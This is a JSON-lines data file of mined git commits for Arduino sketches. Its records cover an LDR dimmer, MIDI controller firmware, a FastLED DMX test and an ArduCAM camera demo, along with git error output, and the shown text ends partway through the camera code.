{"commit":"944f99cccb909321c19e815d8a48f6f33a2e9079","subject":"added date and pod ID to data file name","message":"added date and pod ID to data file name\n","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f359c9584994124d17a7372be1a1685b97d461c6","subject":"Dimmer com LDR; calibracao pela mediana","message":"Dimmer com LDR; calibracao pela mediana\n","repos":"garoa\/dojo-shield","old_file":"arduino\/DimmerLDR.ino","new_file":"arduino\/DimmerLDR.ino","new_contents":"#include <stdlib.h>\n\nint seg_alto = 8; \nint seg_meio = 7; \nint seg_baixo = 11; \nint ldr = A1;\nint ldr_min = 1023;\nint ldr_max = 0;\n\nint const QT_AMOSTRA = 100;\nint const TEMPO_AMOSTRAGEM = 3000;\n\nint cmp(const void *x, const void *y) {\n return (*(int *)x - * (int *)y);\n}\n\nint mediana(int amostra[], int qt_amostra) {\n qsort(amostra, qt_amostra, sizeof(int), cmp);\n return amostra[qt_amostra\/2];\n}\n\nint amostragem(int pino_sinal, int pino_leitura) {\n int amostra [QT_AMOSTRA];\n for (int i=0; i<QT_AMOSTRA; i++){\n digitalWrite(pino_sinal, HIGH);\n amostra[i] = analogRead(pino_leitura);\n delay(TEMPO_AMOSTRAGEM\/QT_AMOSTRA);\n digitalWrite(pino_sinal, LOW);\n }\n return mediana(amostra, QT_AMOSTRA); \n}\n \n\nvoid setup() {\n pinMode(seg_alto, OUTPUT);\n pinMode(seg_meio, OUTPUT);\n pinMode(seg_baixo, OUTPUT);\n ldr_min = amostragem(seg_baixo, ldr);\n digitalWrite(seg_meio, HIGH);\n delay(TEMPO_AMOSTRAGEM);\n digitalWrite(seg_meio, LOW);\n ldr_max = amostragem(seg_alto, ldr);\n}\n\nvoid loop() {\n int valor = map(analogRead(ldr), ldr_min, ldr_max, 0, 255);\n analogWrite(seg_baixo, valor);\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/DimmerLDR.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"2aee6d6dc465786693d706dd39f8bd74307ab232","subject":"Changed UziFirmware to also report the ticking state of each script.","message":"Changed UziFirmware to also report the ticking state of each script.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cf44c1c76666fc42e820b1bf0bcecf4e4a664a66","subject":"Arduino Main added","message":"Arduino Main added\n","repos":"LukeMcNemee\/Arduino_EntropyAssesment","old_file":"Arduino_EntropyAssesment.ino","new_file":"Arduino_EntropyAssesment.ino","new_contents":"#include \"Entropy.h\"\n\nEntropy e;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_EntropyAssesment.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d04771a62b59998b00b2b9189959580e2dbbae3","subject":"Initial commit of tonetape firmware.","message":"Initial commit of tonetape firmware.\n","repos":"jessecrossen\/hautmidi,jessecrossen\/hautmidi,jessecrossen\/hautmidi,jessecrossen\/hautmidi","old_file":"tonetape\/tonetape.ino","new_file":"tonetape\/tonetape.ino","new_contents":"\/\/ pin mapping\n#define FREQ_PIN 22\n#define AMP_PIN 23\n\/\/ integrated input indices\n#define FREQ_IDX 0\n#define AMP_IDX 1\n#define INPUT_COUNT 2\n\/\/ ADC params\n#define ADC_MIN 0\n#define ADC_MAX 4095\n#define AMP_COMP 300\n\/\/ whether to enable MIDI output\n#define MIDI_ENABLED 1\n\/\/ MIDI params\n#define BEND_MIN 0\n#define BEND_CENTER 8192\n#define BEND_MAX 16383\n#define MIDI_MIN 0\n#define MIDI_MAX 127\n#define MIDI_CHANNEL 1\n#define MIDI_MOD_CC 1\n#define MIDI_BREATH_CC 2\n#define ROOT_NOTE 48\n\n\/\/ make a struct to store values from an analog input\ntypedef struct {\n int pin; \/\/ the pin to read from\n unsigned int sum; \/\/ the sum of samples read\n unsigned int samples; \/\/ the number of samples read\n int integrated; \/\/ the integrated input value\n} AnalogInput;\n\n\/\/ make a struct to store current and future instrument state\ntypedef struct {\n int note; \/\/ the current base note number (0-127)\n int velocity; \/\/ the current velocity (0-127)\n int bend; \/\/ the current pitch bend (BEND_CENTER-BEND_MAX)\n int amp; \/\/ the current amplitude to send to the breatch controller (0-127)\n} MIDIState;\n\n\/\/ initialize an analog input structure\nvoid initInput(AnalogInput *input, int pin) {\n pinMode(pin, INPUT);\n input->pin = pin;\n input->sum = 0;\n input->samples = 0;\n input->integrated = 0;\n}\n\/\/ aggregate data into an analog input\nvoid sampleInput(AnalogInput *in) {\n \/\/ protect from overflow\n if (in->samples < (2 << 20)) {\n in->sum += analogRead(in->pin);\n in->samples++;\n }\n}\n\/\/ integrate and reset an analog input\nvoid integrateInput(AnalogInput *in) {\n in->integrated = in->sum \/ in->samples;\n in->sum = 0;\n in->samples = 0;\n}\n\/\/ analog inputs\nAnalogInput inputs[INPUT_COUNT];\n\/\/ integrate all inputs for the given number of milliseconds\nvoid readInputs(unsigned int milliseconds) {\n int i;\n \/\/ collect data for the given amount of time\n elapsedMillis elapsed;\n while (elapsed < milliseconds) {\n for (i = 0; i < INPUT_COUNT; i++) {\n sampleInput(inputs + i);\n }\n }\n \/\/ when the time has elapsed, integrate collected data\n for (i = 0; i < INPUT_COUNT; i++) {\n integrateInput(inputs + i);\n }\n}\n\n\/\/ initialize state\nvoid initState(MIDIState *state) {\n state->note = MIDI_MIN;\n state->velocity = MIDI_MIN;\n state->bend = BEND_CENTER;\n state->amp = MIDI_MIN;\n}\n\/\/ the state as processed from inputs\nMIDIState inState;\n\/\/ the last state sent via MIDI\nMIDIState outState;\n\n\/\/ the minimum and maximum values received for amplitude\nint ampMin = 0;\nint ampMax = 0;\n\n\/\/ map an input range onto an output range by linear interpolation\nint map(int in, int inMin, int inMax, int outMin, int outMax) {\n \/\/ clamp\n if (in > inMax) in = inMax;\n if (in < inMin) in = inMin;\n \/\/ interpolate\n return(outMin + (((in - inMin) * (outMax - outMin)) \/ (inMax - inMin)));\n}\n\nvoid setup() {\n \/\/ configure pins\n initInput(&inputs[FREQ_IDX], FREQ_PIN);\n initInput(&inputs[AMP_IDX], AMP_PIN);\n \/\/ use the full capability of the ADC\n analogReadResolution(12);\n \/\/ initialize state structs\n initState(&inState);\n initState(&outState);\n \/\/ calibrate the amplitude pot\n ampMin = analogRead(AMP_PIN);\n ampMax = ampMin + 512;\n}\n\nvoid loop() {\n int v;\n \/\/ read analog inputs\n readInputs(1);\n \n inState.note = ROOT_NOTE;\n \n v = inputs[AMP_IDX].integrated;\n if (v > ampMax) ampMax = v;\n if (v < ampMin - AMP_COMP) ampMin = v + AMP_COMP;\n inState.amp = map(v, ampMin, ampMax, MIDI_MIN, MIDI_MAX);\n inState.velocity = (inState.amp > MIDI_MIN + 2) ? MIDI_MAX : MIDI_MIN;\n \/\/ interpret strip position, ignoring if there is no pressure on the \n \/\/ strip, because the voltage will float in that situation\n if (inState.amp > 0) {\n inState.bend = map(inputs[FREQ_IDX].integrated, \n ADC_MIN, ADC_MAX, BEND_MIN, BEND_MAX);\n }\n \n \/*\n Serial.print(inState.velocity);\n Serial.print(\" \");\n Serial.print(inState.amp);\n Serial.print(\" \");\n Serial.print(inState.bend);\n Serial.println(\"\");\n *\/\n \n #if MIDI_ENABLED\n \/\/ update changed note\n if ((inState.note != outState.note) && (inState.velocity > 0)) {\n usbMIDI.sendNoteOff(outState.note, 0, MIDI_CHANNEL);\n usbMIDI.sendNoteOn(inState.note, inState.velocity, MIDI_CHANNEL);\n }\n \/\/ update changed velocity\n if (inState.velocity != outState.velocity) {\n \/\/ starting notes\n if ((inState.velocity > 0) && (outState.velocity == 0)) {\n usbMIDI.sendNoteOn(inState.note, inState.velocity, MIDI_CHANNEL);\n }\n \/\/ ending notes\n else if ((inState.velocity == 0) && (outState.velocity > 0)) {\n usbMIDI.sendNoteOff(inState.note, 0, MIDI_CHANNEL);\n }\n \/\/ continuing notes\n else if (inState.velocity > 0) {\n usbMIDI.sendPolyPressure(inState.note, inState.velocity, MIDI_CHANNEL);\n }\n }\n \/\/ update changed pitch bend\n if (inState.bend != outState.bend) {\n usbMIDI.sendPitchBend(inState.bend, MIDI_CHANNEL);\n }\n \/\/ update changed amplitude\n if (inState.amp != outState.amp) {\n usbMIDI.sendControlChange(MIDI_BREATH_CC, inState.amp, MIDI_CHANNEL);\n }\n #endif\n \/\/ copy updated state so we don't update again\n outState = inState;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tonetape\/tonetape.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"42bea364023008651c671b70090c3aa93381dec1","subject":"Create test_DMX_double_pixels_up.ino","message":"Create test_DMX_double_pixels_up.ino","repos":"marmilicious\/FastLED_examples","old_file":"test_DMX_double_pixels_up.ino","new_file":"test_DMX_double_pixels_up.ino","new_contents":"\/\/***************************************************************\n\/\/ DMX double pixels up\n\/\/ Once running, open the serial monitor to see what's happening.\n\/\/***************************************************************\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL\n#define DATA_PIN 6 \/\/ Update for your pin number\n#define NUM_LEDS 12 \/\/ Update to number of pixels in your LED strip\nCRGB leds[NUM_LEDS];\n\n\/\/ For DMX, the R,G,B for each pixel will be assigned a channel number, thus:\nuint16_t DMXchan = 3*NUM_LEDS; \/\/ Number of DMX channels.\n \/\/ Actually, the above would only need to be half of 3*NUM_LEDS since we are\n \/\/ doubling pixels up for this test, but I'm not worrying about that.\n \nuint16_t pixel = 0; \/\/ for storing a pixel number\nuint16_t chanR = 0; \/\/ for storing the Red channel value\nuint16_t chanG = 0; \/\/ for storing the Green channel value\nuint16_t chanB = 0; \/\/ for storing the Blue channel value\n\n\n\/\/---------------------------------------------------------------\nvoid setup(){\n delay(1000); \/\/ Power-up delay\n Serial.begin(57600); \/\/ Allows serial monitor output (check baud rate)\n FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop(){\n Serial.println(\"...........................................................\");\n for (pixel = 0; pixel < NUM_LEDS; pixel++){\n if ((pixel & 0x01) == 0){ \/\/ Checks least significant bit to determine if even or odd\n \/\/ pixel number is an even\n Serial.print(\" pixel \"); Serial.print(pixel); Serial.print(\" assigned: \");\n for (uint8_t c = 0; c < 3; c++){\n DMXchan = 3*((pixel+2)\/2)-2+c;\n Serial.print(\" chan=\"); Serial.print(DMXchan);\n }\n delay(50);\n } else {\n \/\/ pixel number is odd number\n Serial.print(\" pixel \"); Serial.print(pixel); Serial.print(\" assigned: \");\n for (uint8_t c = 0; c < 3; c++){\n DMXchan = 3*((pixel+1)\/2)-2+c;\n Serial.print(\" chan=\"); Serial.print(DMXchan);\n }\n delay(50);\n Serial.println(\" \");\n }\n Serial.println(\" \");\n }\n delay(200);\n\n\n \/\/================================================================\n \/\/ Read incoming serial DMX data.\n \/\/ Figure out pixel number based on incomming DMX channel number.\n \/\/================================================================\n\n Serial.println(\"******[SIMULATING RECEIVING CHANNELS, EACH WITH VALUE 255]******\");\n int count = 0; \/\/ Using count to switch between R,G, and B LEDs in each pixel.\n\n \/\/ Starting chan at 1, and adding +1 to DMXchan since DMX protocol has channels start at 1.\n for (uint16_t chan = 1; chan < DMXchan+1; chan++){\n pixel = ((chan+2)\/3*2)-2; \/\/ Calculate what pixel the incoming channel belongs to.\n \n Serial.print(\" DMXChan \"); Serial.print(chan); \n Serial.print(\" goes to pixel \"); Serial.print(pixel);\n\n if (count == 0){\n Serial.print(\" Adding R value, and duplicating to pixel \"); Serial.print(pixel+1); Serial.println(\" \");\n chanR = 255;\n chanG = 0;\n chanB = 0;\n }\n if (count == 1){\n Serial.print(\" Adding G value, and duplicating to pixel \"); Serial.print(pixel+1); Serial.println(\" \");\n chanG = 255;\n }\n if (count == 2){\n Serial.print(\" Adding B value, and duplicating to pixel \"); Serial.print(pixel+1); Serial.println(\" \");\n chanB = 255;\n }\n count++;\n\n leds[pixel] = CRGB(chanR,chanG,chanB);\n FastLED.show();\n delay(200);\n leds[pixel+1] = CRGB(chanR,chanG,chanB); \/\/ Dublicate color to next pixel\n FastLED.show();\n delay(700);\n\n if (count == 3){\n leds[pixel] = CRGB::Black;\n leds[pixel+1] = CRGB::Black;\n FastLED.show();\n }\n if (count > 2){count = 0;}\n \n }\n delay(500);\n Serial.println(\" \");\n\n\n} \/\/ ----End main loop----\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_DMX_double_pixels_up.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3db4a06ab436cfb992207653686b99239a768488","subject":"version 1.2.6","message":"version 1.2.6\n","repos":"ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_Digital_Camera_2560\/ArduCAM_Shield_V2_Digital_Camera_2560.ino","new_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_Digital_Camera_2560\/ArduCAM_Shield_V2_Digital_Camera_2560.ino","new_contents":"\/\/ ArduCAM demo (C)2018 Lee\n\/\/ Web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules\/\/This demo can only work on ARDUCAM_SHIELD_V2 platform.\n\/\/This demo is compatible with ESP8266\n\/\/ It will run the ArduCAM as a real 2MP\/3MP\/5MP digital camera, provide both preview and JPEG capture.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to BMP preview output mode.\n\/\/ 2. Switch to JPEG mode when shutter buttom pressed.\n\/\/ 3. Capture and buffer the image to FIFO.\n\/\/ 4. Store the image to Micro SD\/TF card with JPEG format.\n\/\/ 5. Resolution can be changed by myCAM.OV5642_set_JPEG_size() function.\n\/\/ 6.Record a short movie when shutter buttom hold on for 3 seconds.\n\/\/ This program requires the ArduCAM V4.0.0 (or later) library and ArduCAM shield V2\n\/\/ and use Arduino IDE 1.6.8 compiler or above\n\n#include <UTFT_SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\/\/This demo was made for Omnivision MT9D111A\/MT9D111B\/MT9M112\/MT9V111_CAM\/\n\/\/ MT9M001\/MT9T112\/MT9D112\/OV7670\/OV7675\/\n\/\/ OV7725\/OV2640\/OV5640\/OV5642 sensor.\n#if !(defined ARDUCAM_SHIELD_V2 && (defined MT9D111A_CAM|| defined MT9D111B_CAM || defined MT9M112_CAM \\\n || defined MT9V111_CAM || defined MT9M001_CAM || defined MT9T112_CAM \\\n || defined MT9D112_CAM || defined OV7670_CAM || defined OV7675_CAM \\\n || defined OV7725_CAM || defined OV2640_CAM || defined OV5640_CAM \\\n || defined OV5642_CAM || defined OV3640_CAM))\n#error Please select the hardware platform and camera module in the ..\/libraries\/ArduCAM\/memorysaver.h file\n#endif\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\n#if defined(ESP8266)\n#define SD_CS 0\nconst int SPI_CS = 16;\n#else\n#define SD_CS 9\nconst int SPI_CS = 10;\n#endif\n\n#define FRAMES_NUM 0x07\n#define rate 0x0a\n#define AVIOFFSET 240\n\n\n\nboolean isShowFlag = true;\nbool is_header = false;\nunsigned long previous_time = 0;\n\nchar str[8];\nFile outFile;\nFile movieFile;\nbyte buf[256];\nstatic int i = 0;\nstatic int k = 0;\nuint8_t temp = 0, temp_last = 0;\nuint32_t length = 0;\nuint8_t start_capture = 0;\nint total_time = 0;\nunsigned long movi_size = 0;\nunsigned long jpeg_size = 0;\nconst char zero_buf[4] = {0x00, 0x00, 0x00, 0x00};\nconst int avi_header[AVIOFFSET] PROGMEM = {\n 0x52, 0x49, 0x46, 0x46, 0xD8, 0x01, 0x0E, 0x00, 0x41, 0x56, 0x49, 0x20, 0x4C, 0x49, 0x53, 0x54,\n 0xD0, 0x00, 0x00, 0x00, 0x68, 0x64, 0x72, 0x6C, 0x61, 0x76, 0x69, 0x68, 0x38, 0x00, 0x00, 0x00,\n 0xA0, 0x86, 0x01, 0x00, 0x80, 0x66, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,\n 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x40, 0x01, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x49, 0x53, 0x54, 0x84, 0x00, 0x00, 0x00,\n 0x73, 0x74, 0x72, 0x6C, 0x73, 0x74, 0x72, 0x68, 0x30, 0x00, 0x00, 0x00, 0x76, 0x69, 0x64, 0x73,\n 0x4D, 0x4A, 0x50, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x01, 0x00, 0x00, 0x00, rate, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x74, 0x72, 0x66,\n 0x28, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x00,\n 0x01, 0x00, 0x18, 0x00, 0x4D, 0x4A, 0x50, 0x47, 0x00, 0x84, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x49, 0x53, 0x54,\n 0x10, 0x00, 0x00, 0x00, 0x6F, 0x64, 0x6D, 0x6C, 0x64, 0x6D, 0x6C, 0x68, 0x04, 0x00, 0x00, 0x00,\n 0x64, 0x00, 0x00, 0x00, 0x4C, 0x49, 0x53, 0x54, 0x00, 0x01, 0x0E, 0x00, 0x6D, 0x6F, 0x76, 0x69,\n};\nvoid print_quartet(unsigned long i, File fd) {\n fd.write(i % 0x100); i = i >> 8; \/\/i \/= 0x100;\n fd.write(i % 0x100); i = i >> 8; \/\/i \/= 0x100;\n fd.write(i % 0x100); i = i >> 8; \/\/i \/= 0x100;\n fd.write(i % 0x100);\n}\n\n#if defined (MT9D111A_CAM)\nArduCAM myCAM(MT9D111_A, SPI_CS);\n#elif defined (MT9D111B_CAM)\nArduCAM myCAM(MT9D111_B, SPI_CS);\n#elif defined (MT9M112_CAM)\nArduCAM myCAM(MT9M112, SPI_CS);\n#elif defined (MT9V111_CAM)\nArduCAM myCAM(MT9V111, SPI_CS);\n#elif defined (MT9M001_CAM)\nArduCAM myCAM(MT9M001, SPI_CS);\n#elif defined (MT9T112_CAM)\nArduCAM myCAM(MT9T112, SPI_CS);\n#elif defined (MT9D112_CAM)\nArduCAM myCAM(MT9D112, SPI_CS);\n#elif defined (OV7670_CAM)\nArduCAM myCAM(OV7670, SPI_CS);\n#elif defined (OV7675_CAM)\nArduCAM myCAM(OV7675, SPI_CS);\n#elif defined (OV7725_CAM)\nArduCAM myCAM(OV7725, SPI_CS);\n#elif defined (OV2640_CAM)\nArduCAM myCAM(OV2640, SPI_CS);\n#elif defined (OV3640_CAM)\nArduCAM myCAM(OV3640, SPI_CS);\n#elif defined (OV5640_CAM)\nArduCAM myCAM(OV5640, SPI_CS);\n#elif defined (OV5642_CAM)\nArduCAM myCAM(OV5642, SPI_CS);\n#endif\nUTFT myGLCD(SPI_CS);\n\nvoid setup()\n{\n uint8_t vid, pid;\n uint8_t temp;\n#if defined(__SAM3X8E__)\n Wire1.begin();\n#else\n Wire.begin();\n#endif\n Serial.begin(115200);\n Serial.println(F(\"ArduCAM Start!\"));\n \/\/ set the SPI_CS as an output:\n pinMode(SPI_CS, OUTPUT);\n \/\/ initialize SPI:\n SPI.begin();\n while (1) {\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55) {\n Serial.println(F(\"SPI interface Error!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"SPI interface OK!\")); break;\n }\n }\n \/\/Change MCU mode\n myCAM.set_mode(MCU2LCD_MODE);\n myGLCD.InitLCD();\n#if defined (OV2640_CAM)\n while (1) {\n \/\/Check if the camera module type is OV2640\n myCAM.wrSensorReg8_8(0xff, 0x01);\n myCAM.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);\n if ((vid != 0x26 ) && (( pid != 0x41 ) || ( pid != 0x42 ))) {\n Serial.println(F(\"Can't find OV2640 module!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"OV2640 detected.\")); break;\n }\n }\n#elif defined (OV3640_CAM)\n while (1) {\n \/\/Check if the camera module type is OV3640\n myCAM.wrSensorReg16_8(0xff, 0x01);\n myCAM.rdSensorReg16_8(OV3640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV3640_CHIPID_LOW, &pid);\n if ((vid != 0x36) || (pid != 0x4C)) {\n Serial.println(F(\"Can't find OV3640 module!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"OV3640 detected.\")); break;\n }\n }\n#elif defined (OV5640_CAM)\n while (1) {\n \/\/Check if the camera module type is OV5640\n myCAM.wrSensorReg16_8(0xff, 0x01);\n myCAM.rdSensorReg16_8(OV5640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5640_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x40)) {\n Serial.println(F(\"Can't find OV5640 module!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"OV5640 detected.\")); break;\n }\n }\n#elif defined (OV5642_CAM)\n while (1) {\n \/\/Check if the camera module type is OV5642\n myCAM.wrSensorReg16_8(0xff, 0x01);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x42)) {\n Serial.println(F(\"Can't find OV5642 module!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"OV5642 detected.\")); break;\n }\n }\n#endif\n \/\/Initialize SD Card\n while (!SD.begin(SD_CS)) {\n Serial.println(F(\"SD Card Error\")); delay(1000);\n }\n Serial.println(F(\"SD Card detected!\"));\n \/\/Change to BMP capture mode and initialize the OV5642 module\n myCAM.set_format(BMP);\n myCAM.InitCAM();\n}\nvoid loop()\n{\n while (1) {\n#if defined(ESP8266)\n yield();\n#endif\n if (!myCAM.get_bit(ARDUCHIP_TRIG, VSYNC_MASK)) \/\/New Frame is coming\n {\n myCAM.set_mode(MCU2LCD_MODE); \/\/Switch to MCU\n myGLCD.resetXY();\n myCAM.set_mode(CAM2LCD_MODE); \/\/Switch to CAM\n while (!myCAM.get_bit(ARDUCHIP_TRIG, VSYNC_MASK)); \/\/Wait for VSYNC is gone\n }\n else if (myCAM.get_bit(ARDUCHIP_TRIG, SHUTTER_MASK))\n {\n previous_time = millis();\n while (myCAM.get_bit(ARDUCHIP_TRIG, SHUTTER_MASK))\n {\n if ((millis() - previous_time) > 1500)\n {\n saveShortMovie();\n \/\/Serial.println(\"Save video Streaming \");\n }\n }\n if ((millis() - previous_time) < 1500)\n {\n saveImageJPEG();\n }\n }\n }\n\n}\n\n\n\n\nvoid saveImageJPEG() {\n myCAM.set_mode(MCU2LCD_MODE);\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n#if defined (OV2640_CAM)\n myCAM.OV2640_set_JPEG_size(OV2640_640x480); delay(1000);\n#elif defined (OV3640_CAM)\n myCAM.OV3640_set_JPEG_size(OV3640_320x240); delay(1000);\n#elif defined (OV5640_CAM)\n myCAM.OV5640_set_JPEG_size(OV5640_320x240); delay(1000);\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); \/\/VSYNC is active HIGH\n#elif defined (OV5642_CAM)\n myCAM.OV5642_set_JPEG_size(OV5642_320x240); delay(1000);\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); \/\/VSYNC is active HIGH\n#endif\n myCAM.write_reg(ARDUCHIP_FRAMES, 0);\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(F(\"Start Capture\"));\n while ( !myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK));\n Serial.println(F(\"Capture Done.\"));\n length = myCAM.read_fifo_length();\n Serial.print(F(\"The fifo length is :\"));\n Serial.println(length, DEC);\n if (length >= MAX_FIFO_SIZE) \/\/8M\n {\n Serial.println(F(\"Over size.\"));\n return ;\n }\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(F(\"Size is 0.\"));\n return;\n }\n \/\/Construct a file name\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".jpg\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(F(\"File open failed\"));\n return;\n }\n i = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n while ( length-- )\n {\n#if defined (ESP8266)\n yield();\n#endif\n temp_last = temp;\n temp = SPI.transfer(0x00);\n \/\/Read JPEG data from FIFO\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n {\n buf[i++] = temp; \/\/save the last 0XD9\n \/\/Write the remain bytes in the buffer\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n \/\/Close the file\n outFile.close();\n Serial.println(F(\"Image save OK.\"));\n is_header = false;\n i = 0;\n }\n if (is_header == true)\n {\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n }\n else if ((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n buf[i++] = temp_last;\n buf[i++] = temp;\n }\n }\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Clear the start capture flag\n start_capture = 0;\n myCAM.set_format(BMP);\n myCAM.InitCAM();\n\n}\n\n\nuint8_t saveShortMovie()\n{\n uint8_t temp = 0, temp_last = 0;\n uint32_t length = 0;\n static int i = 0;\n static int k = 0;\n unsigned long position = 0;\n uint16_t frame_cnt = 0;\n uint8_t remnant = 0;\n char str[8];\n byte buf[256];\n\n myCAM.set_mode(MCU2LCD_MODE);\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n#if defined (OV2640_CAM)\n myCAM.OV2640_set_JPEG_size(OV2640_640x480); delay(1000);\n#elif defined (OV3640_CAM)\n myCAM.OV3640_set_JPEG_size(OV3640_320x240); delay(1000);\n#elif defined (OV5640_CAM)\n myCAM.OV5640_set_JPEG_size(OV5640_320x240); delay(1000);\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); \/\/VSYNC is active HIGH\n#elif defined (OV5642_CAM)\n myCAM.OV5642_set_JPEG_size(OV5642_320x240); delay(1000);\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK); \/\/VSYNC is active HIGH\n#endif\n \/\/Flush the FIFO\n myCAM.write_reg(ARDUCHIP_FRAMES, FRAMES_NUM);\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(F(\"Start recording video...\"));\n while ( !myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK)){;}\n length = myCAM.read_fifo_length();\n if ( length < 0x3FFFFF) {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n while ( !myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK)) {\n#if defined (ESP8266)\n yield();\n#endif\n }\n Serial.println(F(\"Record video 